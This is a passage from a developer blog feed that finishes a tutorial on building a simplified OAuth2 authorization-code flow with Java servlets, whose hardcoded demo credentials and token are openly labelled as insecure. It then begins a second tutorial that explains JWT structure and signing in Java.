&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletRequest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletResponse&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Servlet implementation class TokenServlet
 */&lt;/span&gt;
&lt;span class="nd"&gt;@WebServlet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/token"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TokenServlet&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;HttpServlet&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;doPost&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpServletRequest&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;clientId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"client_id"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;clientSecret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"client_secret"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="s"&gt;"test"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clientId&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="s"&gt;"secret123"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clientSecret&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setStatus&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid client"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;


        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"code"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="s"&gt;"abc123"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setStatus&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid code"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// Simple JWT-like token (replace with real JWT later)&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"header.payload.signature"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setContentType&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"application/json"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"{\"access_token\":\""&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"\"}"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Returns:&lt;br&gt;
{&lt;br&gt;
  "access_token": "header.payload.signature"&lt;br&gt;
}&lt;br&gt;
👉 This is the Access Token&lt;/p&gt;

&lt;p&gt;🟢 Step 6: /data → Access Protected Resource&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;DataServlet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;java&lt;/span&gt;
&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.oauth.demo&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.ServletException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.annotation.WebServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletRequest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletResponse&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Servlet implementation class DataServlet
 */&lt;/span&gt;
&lt;span class="nd"&gt;@WebServlet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/data"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;DataServlet&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;HttpServlet&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;doGet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpServletRequest&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getHeader&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Authorization"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startsWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Bearer "&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setStatus&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Unauthorized"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="s"&gt;"header.payload.signature"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setStatus&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid token"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Secure Data for user: admin"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 Client must call:&lt;br&gt;
Authorization: Bearer header.payload.signature&lt;/p&gt;

&lt;p&gt;If valid:&lt;br&gt;
Secure Data for user: admin&lt;/p&gt;

&lt;h3&gt;
  
  
  🔷 What is the Access Token in this Demo?
&lt;/h3&gt;

&lt;p&gt;In OAuth2, the access token is just a string. The specification does not enforce any particular format.&lt;/p&gt;

&lt;p&gt;However, in most real-world systems, the access token is implemented as a JWT (JSON Web Token).&lt;/p&gt;

&lt;p&gt;In this demo, we return a simplified token:&lt;/p&gt;

&lt;p&gt;header.payload.signature&lt;/p&gt;

&lt;p&gt;This mimics the structure of a JWT.&lt;/p&gt;

&lt;p&gt;👉 For a detailed explanation of how JWT works (structure, signing, validation), you can refer to my earlier article:&lt;/p&gt;

&lt;p&gt;Understanding JWT Authentication in Java with Encryption and Decryption&lt;br&gt;
(&lt;a href="https://dev.to/sanjayghosh/understanding-jwt-authentication-in-java-with-encryption-and-decryption-2ig7"&gt;https://dev.to/sanjayghosh/understanding-jwt-authentication-in-java-with-encryption-and-decryption-2ig7&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;In a production system:&lt;/p&gt;

&lt;p&gt;The Authorization Server generates a signed JWT&lt;br&gt;
The Resource Server validates the JWT before granting access&lt;/p&gt;

&lt;p&gt;This bridges the gap between OAuth2 (authorization framework) and JWT (token format).&lt;/p&gt;

&lt;h3&gt;
  
  
  🔷 Why This Flow Exists
&lt;/h3&gt;

&lt;p&gt;Why not just send username/password to the client?&lt;br&gt;
Because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Security risks ❌&lt;/li&gt;
&lt;li&gt;Third-party access problems ❌&lt;/li&gt;
&lt;li&gt;No control over permissions ❌&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;OAuth2 solves this using:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tokens&lt;/li&gt;
&lt;li&gt;Delegated access&lt;/li&gt;
&lt;li&gt;Controlled permissions&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔷 Common Mistakes
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;❌ Client handling user credentials&lt;/li&gt;
&lt;li&gt;❌ Confusing code vs token&lt;/li&gt;
&lt;li&gt;❌ Sending token in URL&lt;/li&gt;
&lt;li&gt;❌ Thinking client validates token&lt;/li&gt;
&lt;li&gt;❌ Skipping redirect-based flow
### 🔷 Important Notes&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ⚠️ 1. This is a simplified demo
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Hardcoded values&lt;/li&gt;
&lt;li&gt;No database&lt;/li&gt;
&lt;li&gt;No real token security&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ⚠️ 2. Token is NOT a real JWT
&lt;/h4&gt;

&lt;p&gt;header.payload.signature&lt;/p&gt;

&lt;p&gt;👉 In real systems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Token is a JWT&lt;/li&gt;
&lt;li&gt;Signed and verified&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ⚠️ 3. Client Secret should NOT be exposed
&lt;/h4&gt;

&lt;p&gt;In this demo:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Shown in UI ❌&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In real OAuth:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Used only in backend communication ✅&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ⚠️ 4. Browser cannot send Authorization headers directly
&lt;/h4&gt;

&lt;p&gt;Use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;curl&lt;/li&gt;
&lt;li&gt;Postman&lt;/li&gt;
&lt;li&gt;Java client&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ⚠️ 5. Resource Server must validate token
&lt;/h4&gt;

&lt;p&gt;In real systems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Verify signature&lt;/li&gt;
&lt;li&gt;Check expiry&lt;/li&gt;
&lt;li&gt;Validate issuer&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  🔷 Key Takeaways
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;OAuth2 is about delegation of access&lt;/li&gt;
&lt;li&gt;Client never sees user password&lt;/li&gt;
&lt;li&gt;Authorization Server issues tokens&lt;/li&gt;
&lt;li&gt;Resource Server enforces access&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now that you understand the complete flow, let’s run it.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔷 Try It Yourself
&lt;/h3&gt;

&lt;p&gt;If you want to understand OAuth2 deeply, I highly recommend running this demo locally.&lt;/p&gt;

&lt;p&gt;👉 GitHub Repository (complete working example with all servlets and configuration):&lt;br&gt;&lt;br&gt;
&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/OAUTH" rel="noopener noreferrer"&gt;https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/OAUTH&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Steps:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Clone the repository
&lt;/li&gt;
&lt;li&gt;Deploy it in Tomcat
&lt;/li&gt;
&lt;li&gt;Open &lt;code&gt;/login&lt;/code&gt; in your browser
&lt;/li&gt;
&lt;li&gt;Follow the complete OAuth2 flow step by step
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Hands-on practice will make the concepts much clearer than theory alone.&lt;br&gt;
If you run into any issues while trying this locally, feel free to leave a comment—I’ll be happy to help.&lt;/p&gt;

&lt;h3&gt;
  
  
  🏁 Conclusion
&lt;/h3&gt;

&lt;p&gt;OAuth2 may seem complex at first—but the core idea is simple:&lt;br&gt;
👉 The client never gets your password&lt;br&gt;
👉 The Authorization Server issues a token&lt;br&gt;
👉 The Resource Server trusts that token&lt;/p&gt;

&lt;h3&gt;
  
  
  🔑 What You Built
&lt;/h3&gt;

&lt;p&gt;You implemented:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Client&lt;/li&gt;
&lt;li&gt;Authorization Server&lt;/li&gt;
&lt;li&gt;Resource Server&lt;/li&gt;
&lt;li&gt;Complete OAuth2 flow
This is the same pattern used by Google and Microsoft.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔗 OAuth2 + JWT
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;OAuth2 = how you get the token&lt;/li&gt;
&lt;li&gt;JWT = what the token contains&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  ⚠️ Production Note
&lt;/h3&gt;

&lt;p&gt;Use tools like Keycloak or frameworks like Spring Boot for real systems.&lt;/p&gt;

</description>
      <category>java</category>
      <category>security</category>
      <category>webdev</category>
      <category>oauth</category>
    </item>
    <item>
      <title>Understanding JWT Authentication in Java with Encryption and Decryption</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Thu, 19 Mar 2026 20:19:51 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/understanding-jwt-authentication-in-java-with-encryption-and-decryption-2ig7</link>
      <guid>https://dev.to/sanjayghosh/understanding-jwt-authentication-in-java-with-encryption-and-decryption-2ig7</guid>
      <description>&lt;p&gt;JSON Web Token (JWT) is a widely used mechanism for securely transmitting information between systems.&lt;/p&gt;

&lt;p&gt;JWT is commonly used in:&lt;br&gt;
• API authentication&lt;br&gt;
• Single Sign-On (SSO)&lt;br&gt;
• Microservices communication&lt;/p&gt;

&lt;p&gt;This article explains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What JWT is&lt;/li&gt;
&lt;li&gt;JWT structure&lt;/li&gt;
&lt;li&gt;How encryption and signing works&lt;/li&gt;
&lt;li&gt;How to generate and validate JWT in Java&lt;/li&gt;
&lt;li&gt;A simple diagram explaining the flow&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  What is JWT?
&lt;/h2&gt;

&lt;p&gt;JWT (JSON Web Token) is a compact, URL-safe token format used to securely transmit information between two parties. &lt;a href="https://datatracker.ietf.org/doc/html/rfc7519" rel="noopener noreferrer"&gt;Refer RFC7519&lt;/a&gt; .&lt;/p&gt;

&lt;p&gt;A JWT contains claims (information) that are digitally signed and optionally encrypted.&lt;/p&gt;

&lt;p&gt;JWT tokens are typically used after a user logs in successfully. The server generates a token and sends it back to the client. The client includes this token in future requests for authentication.&lt;/p&gt;
&lt;h2&gt;
  
  
  JWT Structure
&lt;/h2&gt;

&lt;p&gt;JWT Structure&lt;/p&gt;

&lt;p&gt;A JWT consists of three parts separated by dots:&lt;/p&gt;

&lt;p&gt;HEADER.PAYLOAD.SIGNATURE&lt;/p&gt;

&lt;p&gt;Example JWT:&lt;/p&gt;

&lt;p&gt;eyJhbGciOiJIUzI1NiJ9&lt;br&gt;
.&lt;br&gt;
eyJpc3MiOiJteS5jb21wYW55LmNvbSIsInN1YiI6ImpvaG4uZG9lIiwiaWF0IjoxNzczMTg0MTIwLCJleHAiOjE3NzMxODQ0MjAsImp0aSI6IjI1Y2JkNjVmLTYzODEtNGZiYi05YWMyLTk4ZTk0ZGYwYTI2YSJ9&lt;br&gt;
.&lt;br&gt;
UEG4iZhhtyG58V0Vcz-IHOL8MMPmDVqZdyRhoaTnYCI&lt;/p&gt;

&lt;p&gt;Each part is Base64URL encoded. ()&lt;/p&gt;
&lt;h3&gt;
  
  
  1. Header
&lt;/h3&gt;

&lt;p&gt;The header contains metadata about the token.&lt;/p&gt;

&lt;p&gt;Example:&lt;/p&gt;

&lt;p&gt;{"alg":"HS256"}&lt;/p&gt;

&lt;p&gt;alg indicates the algorithm used to sign the token.&lt;/p&gt;

&lt;p&gt;Common algorithms include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HS256&lt;/li&gt;
&lt;li&gt;RS256&lt;/li&gt;
&lt;li&gt;ES256&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  2. Payload
&lt;/h3&gt;

&lt;p&gt;The payload contains claims, which are pieces of information about the user.&lt;br&gt;
Example:&lt;br&gt;
{ &lt;br&gt;
    "iss":"my.company.com",&lt;br&gt;
    "sub":"john.doe","iat":1773184120,&lt;br&gt;
    "exp":1773184420,&lt;br&gt;
    "jti":"25cbd65f-6381-4fbb-9ac2-98e94df0a26a"}&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br&gt;
JWT payload is not encrypted by default. It is only Base64 encoded.&lt;br&gt;
Anyone can decode the payload, but the signature prevents tampering.&lt;/p&gt;
&lt;h3&gt;
  
  
  3. Signature
&lt;/h3&gt;

&lt;p&gt;The signature ensures the token has not been modified.&lt;br&gt;
Example process:&lt;br&gt;
HMACSHA256(&lt;br&gt;
   base64UrlEncode(header) + "." +&lt;br&gt;
   base64UrlEncode(payload),&lt;br&gt;
   secret&lt;br&gt;
)&lt;br&gt;
If someone modifies the payload, the signature verification will fail.&lt;/p&gt;
&lt;h2&gt;
  
  
  JWT Authentication Flow
&lt;/h2&gt;

&lt;p&gt;Typical authentication flow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;User logs in with username and password&lt;/li&gt;
&lt;li&gt;Server validates credentials&lt;/li&gt;
&lt;li&gt;Server generates a JWT&lt;/li&gt;
&lt;li&gt;Client stores the token&lt;/li&gt;
&lt;li&gt;Client sends JWT in Authorization header&lt;/li&gt;
&lt;li&gt;Server verifies the token&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Example header in API request:&lt;/p&gt;

&lt;p&gt;Authorization: Bearer &lt;/p&gt;
&lt;h2&gt;
  
  
  Generating JWT in java
&lt;/h2&gt;

&lt;p&gt;(Example Code)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;jwt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;io.jsonwebtoken.Jwts&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;io.jsonwebtoken.security.Keys&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.security.Key&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.time.Instant&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.time.temporal.ChronoUnit&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Date&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.UUID&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.nio.charset.StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;JwtTokenGenerator&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="cm"&gt;/**
     * Generates a signed JWT token using a shared secret key.
     * @param issuer The issuer of the token.
     * @param subject The subject of the token (e.g., user ID).
     * @param secretKey The secret key for signing (must be at least 256 bits).
     * @return The compact JWT string.
     */&lt;/span&gt;
